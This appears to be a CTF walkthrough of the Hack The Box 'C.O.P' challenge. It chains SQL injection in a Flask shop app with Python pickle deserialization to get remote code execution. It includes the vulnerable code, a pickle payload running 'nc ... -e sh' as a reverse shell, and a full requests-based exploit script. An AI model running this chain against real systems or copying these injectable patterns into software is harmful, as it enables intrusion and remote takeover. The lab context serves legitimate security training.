SQLi to Python Pickle Deserialization RCE | C.O.P (HTB)

November 2, 2024

The first vulnerability

There’s a SQL injection in the models.py file. The select_by_id doesn’t sanitize any user input. We’re able to validate this by inserting the payload /view/ or 1=1 and observe that the page just renders perfectly normal.

from application.database import query_db

class shop(object):

    @staticmethod
    def select_by_id(product_id):
        return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)

The second vulnerability

This is in the database.py file In this code below we see that the file schema.sql is being decoded with pickle.dumps this shows a python pickle deserialization vulnerability.

from flask import g
from application import app
from sqlite3 import dbapi2 as sqlite3
import base64, pickle

def connect_db():
    return sqlite3.connect('cop.db', isolation_level=None)
    
def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = connect_db()
        db.row_factory = sqlite3.Row
    return db

def query_db(query, args=(), one=False):
    with app.app.app_context():
        cur = get_db().execute(query, args)
        rv = [dict((cur.description[idx][0], value) \
            for idx, value in enumerate(row)) for row in cur.fetchall()]
        return (next(iter(rv[0].values())) if rv else None) if one else rv

class Item:
	def __init__(self, name, description, price, image):
		self.name = name
		self.description = description
		self.image = image
		self.price = price

def migrate_db():
    items = [
        Item('Pickle Shirt', 'Get our new pickle shirt!', '23', '/static/images/pickle_shirt.jpg'),
        Item('Pickle Shirt 2', 'Get our (second) new pickle shirt!', '27', '/static/images/pickle_shirt2.jpg'),
        Item('Dill Pickle Jar', 'Literally just a pickle', '1337', '/static/images/pickle.jpg'),
        Item('Branston Pickle', 'Does this even fit on our store?!?!', '7.30', '/static/images/branston_pickle.jpg')
    ]
    
    with open('schema.sql', mode='r') as f:
        shop = map(lambda x: base64.b64encode(pickle.dumps(x)).decode(), items)
        get_db().cursor().executescript(f.read().format(*list(shop)))

It is first being used /templates/index.html

<section class="py-5">
<div class="container px-4 px-lg-5 mt-5">
<div class="row gx-4 gx-lg-5 row-cols-2 row-cols-md-3 row-cols-xl-4">
{% for product in products %}
{% set item = product.data | pickle %}

And then in the /templates/item.html file the pickle value is being used in the product

<!-- Product section-->
<section class="py-5">
<div class="container px-4 px-lg-5 my-5">
<div class="row gx-4 gx-lg-5 align-items-center">
{% set item = product | pickle %}
<div class="col-md-6"><img class="card-img-top mb-5 mb-md-0" src="{{ item.image }}" alt="..." /></div>
<div class="col-md-6">
   <h1 class="display-5 fw-bolder">{{ item.name }}</h1>
   <div class="fs-5 mb-5">
      <span>£{{ item.price }}</span>
   </div>
   <p class="lead">{{ item.description }}</p>
</div>

Creating a payload trough Python Pickle

import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('<payload>',)) #Example: nc 192.168.2.177 9001 -e sh

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload) 
#output: gASVNgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBtuYyAxOTIuMTY4LjIuMTc3IDkwMDEgLWUgc2iUhZRSlC4=

At first I thought of doing something like this. But this wasn’t working

/view/'; UPDATE products SET data = '<payload>' WHERE id = 4;--

So switched up and tried the following which worked

/view/' UNION SELECT '<payload>' -- 

Final Exploit

This is the full exploit. Don’t forget to setup the listener.

import pickle
import base64
import os
import requests

class Exploit:
    def __reduce__(self):
        return (os.system, ('nc <local_ip> 9001 -e sh',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)

if __name__ == "__main__":

    payload = base64.b64encode(pickle.dumps(Exploit())).decode()

    sql_payload = f"' UNION SELECT '{payload}' -- "

    exploit_payload = requests.utils.requote_uri(sql_payload)

    requests.get(f"http://<target_ip>/view/{exploit_payload}")